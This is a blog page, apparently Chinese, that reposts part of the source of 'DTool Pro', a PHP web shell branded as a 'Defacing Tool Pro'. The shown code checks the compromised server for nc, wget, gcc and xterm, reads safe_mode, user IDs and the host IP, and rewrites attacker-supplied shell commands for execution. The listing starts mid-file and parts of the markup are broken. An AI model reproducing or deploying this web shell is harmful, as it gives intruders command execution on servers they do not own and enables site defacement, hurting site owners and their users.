DTool Pro.php webshell
- 发表于
- webshell
xterm at /usr/X11R6/bin/xterm, ";
}
if ( @file_exists( "/usr/bin/nc" ) ) {
$pro2 = "nc at /usr/bin/nc, ";
}
if ( @file_exists( "/usr/bin/wget" ) ) {
$pro3 = "wget at /usr/bin/wget, ";
}
if ( @file_exists( "/usr/bin/lynx" ) ) {
$pro4 = "lynx at /usr/bin/lynx, ";
}
if ( @file_exists( "/usr/bin/gcc" ) ) {
$pro5 = "gcc at /usr/bin/gcc, ";
}
if ( @file_exists( "/usr/bin/cc" ) ) {
$pro6 = "cc at /usr/bin/cc ";
}
$safe = @ini_get( $safemode );
if ( $safe ) {
$pro8 = "safe_mode: YES, ";
} else {
$pro7 = "safe_mode: NO, ";
}
$pro8= "PHP " . phpversion();
$pro = $pro1 . $pro2 . $pro3 . $pro4 . $pro5 . $pro6 . $pro7 . $pro8;
$login = @posix_getuid();
$euid= @posix_geteuid();
$gid = @posix_getgid();
$ip= @gethostbyname( $_SERVER['HTTP_HOST'] );
//Turns the 'ls' command more usefull, showing it as it looks in the shell
if ( strpos( $cmd, 'ls --' ) !== false ) {
$cmd = str_replace( 'ls --', 'ls -F --', $cmd );
} else if ( strpos( $cmd, 'ls -' ) !== false ) {
$cmd = str_replace( 'ls -', 'ls -F', $cmd );
} else if ( strpos( $cmd, ';ls' ) !== false ) {
$cmd = str_replace( ';ls', ';ls -F', $cmd );
} else if ( strpos( $cmd, '; ls' ) !== false ) {
$cmd = str_replace( '; ls', ';ls -F', $cmd );
} else if ( $cmd == 'ls' ) {
$cmd = "ls -F";
}
//If there are some '//' in the cmd, its now removed
if ( strpos( $chdir, '//' ) !== false ) {
$chdir = str_replace( '//', '/', $chdir );
}
?>
[ Defacing Tool Pro v= $vers; ?> ] ?
by r3v3ng4ns - revengans@gmail.com |
|||||||
|
|||||||
stdOut from = "\"$cmdShow\", using $feshow()"; ?> |
原文连接:DTool Pro.php webshell
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。